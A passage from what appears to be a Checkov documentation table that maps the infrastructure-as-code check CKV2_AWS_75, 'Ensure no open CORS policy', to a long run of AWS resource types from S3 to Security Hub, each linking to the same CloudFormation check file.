[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1331 | CKV2_AWS_75 | resource | aws_s3_account_public_access_block                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1332 | CKV2_AWS_75 | resource | aws_s3_bucket                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1333 | CKV2_AWS_75 | resource | aws_s3_bucket_accelerate_configuration                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1334 | CKV2_AWS_75 | resource | aws_s3_bucket_acl                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1335 | CKV2_AWS_75 | resource | aws_s3_bucket_analytics_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1336 | CKV2_AWS_75 | resource | aws_s3_bucket_cors_configuration                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1337 | CKV2_AWS_75 | resource | aws_s3_bucket_intelligent_tiering_configuration                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1338 | CKV2_AWS_75 | resource | aws_s3_bucket_inventory                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1339 | CKV2_AWS_75 | resource | aws_s3_bucket_lifecycle_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1340 | CKV2_AWS_75 | resource | aws_s3_bucket_logging                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1341 | CKV2_AWS_75 | resource | aws_s3_bucket_metric                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1342 | CKV2_AWS_75 | resource | aws_s3_bucket_notification                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1343 | CKV2_AWS_75 | resource | aws_s3_bucket_object                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1344 | CKV2_AWS_75 | resource | aws_s3_bucket_object_lock_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1345 | CKV2_AWS_75 | resource | aws_s3_bucket_ownership_controls                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1346 | CKV2_AWS_75 | resource | aws_s3_bucket_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1347 | CKV2_AWS_75 | resource | aws_s3_bucket_public_access_block                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1348 | CKV2_AWS_75 | resource | aws_s3_bucket_replication_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1349 | CKV2_AWS_75 | resource | aws_s3_bucket_request_payment_configuration                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1350 | CKV2_AWS_75 | resource | aws_s3_bucket_server_side_encryption_configuration               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1351 | CKV2_AWS_75 | resource | aws_s3_bucket_versioning                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1352 | CKV2_AWS_75 | resource | aws_s3_bucket_website_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1353 | CKV2_AWS_75 | resource | aws_s3_directory_bucket                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1354 | CKV2_AWS_75 | resource | aws_s3_object                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1355 | CKV2_AWS_75 | resource | aws_s3_object_copy                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1356 | CKV2_AWS_75 | resource | aws_s3control_access_grant                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1357 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1358 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance_resource_policy             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1359 | CKV2_AWS_75 | resource | aws_s3control_access_grants_location                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1360 | CKV2_AWS_75 | resource | aws_s3control_access_point_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1361 | CKV2_AWS_75 | resource | aws_s3control_bucket                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1362 | CKV2_AWS_75 | resource | aws_s3control_bucket_lifecycle_configuration                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1363 | CKV2_AWS_75 | resource | aws_s3control_bucket_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1364 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1365 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1366 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1367 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point_policy                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1368 | CKV2_AWS_75 | resource | aws_s3control_storage_lens_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1369 | CKV2_AWS_75 | resource | aws_s3outposts_endpoint                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1370 | CKV2_AWS_75 | resource | aws_s3tables_namespace                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1371 | CKV2_AWS_75 | resource | aws_s3tables_table                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1372 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1373 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1374 | CKV2_AWS_75 | resource | aws_s3tables_table_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1375 | CKV2_AWS_75 | resource | aws_sagemaker_app                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1376 | CKV2_AWS_75 | resource | aws_sagemaker_app_image_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1377 | CKV2_AWS_75 | resource | aws_sagemaker_code_repository                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1378 | CKV2_AWS_75 | resource | aws_sagemaker_data_quality_job_definition                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1379 | CKV2_AWS_75 | resource | aws_sagemaker_device                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1380 | CKV2_AWS_75 | resource | aws_sagemaker_device_fleet                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1381 | CKV2_AWS_75 | resource | aws_sagemaker_domain                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1382 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1383 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint_configuration                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1384 | CKV2_AWS_75 | resource | aws_sagemaker_feature_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1385 | CKV2_AWS_75 | resource | aws_sagemaker_flow_definition                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1386 | CKV2_AWS_75 | resource | aws_sagemaker_hub                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1387 | CKV2_AWS_75 | resource | aws_sagemaker_human_task_ui                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1388 | CKV2_AWS_75 | resource | aws_sagemaker_image                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1389 | CKV2_AWS_75 | resource | aws_sagemaker_image_version                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1390 | CKV2_AWS_75 | resource | aws_sagemaker_mlflow_tracking_server                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1391 | CKV2_AWS_75 | resource | aws_sagemaker_model                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1392 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1393 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group_policy                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1394 | CKV2_AWS_75 | resource | aws_sagemaker_monitoring_schedule                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1395 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1396 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1397 | CKV2_AWS_75 | resource | aws_sagemaker_pipeline                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1398 | CKV2_AWS_75 | resource | aws_sagemaker_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1399 | CKV2_AWS_75 | resource | aws_sagemaker_servicecatalog_portfolio_status                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1400 | CKV2_AWS_75 | resource | aws_sagemaker_space                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1401 | CKV2_AWS_75 | resource | aws_sagemaker_studio_lifecycle_config                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1402 | CKV2_AWS_75 | resource | aws_sagemaker_user_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1403 | CKV2_AWS_75 | resource | aws_sagemaker_workforce                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1404 | CKV2_AWS_75 | resource | aws_sagemaker_workteam                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1405 | CKV2_AWS_75 | resource | aws_scheduler_schedule                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1406 | CKV2_AWS_75 | resource | aws_scheduler_schedule_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1407 | CKV2_AWS_75 | resource | aws_schemas_discoverer                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1408 | CKV2_AWS_75 | resource | aws_schemas_registry                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1409 | CKV2_AWS_75 | resource | aws_schemas_registry_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1410 | CKV2_AWS_75 | resource | aws_schemas_schema                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1411 | CKV2_AWS_75 | resource | aws_secretsmanager_secret                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1412 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1413 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_rotation                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1414 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_version                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1415 | CKV2_AWS_75 | resource | aws_security_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1416 | CKV2_AWS_75 | resource | aws_security_group_rule                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1417 | CKV2_AWS_75 | resource | aws_securityhub_account                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1418 | CKV2_AWS_75 | resource | aws_securityhub_action_target                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1419 | CKV2_AWS_75 | resource | aws_securityhub_automation_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1420 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1421 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1422 | CKV2_AWS_75 | resource | aws_securityhub_finding_aggregator                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1423 | CKV2_AWS_75 | resource | aws_securityhub_insight                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1424 | CKV2_AWS_75 | resource | aws_securityhub_invite_accepter                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1425 | CKV2_AWS_75 | resource | aws_securityhub_member                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 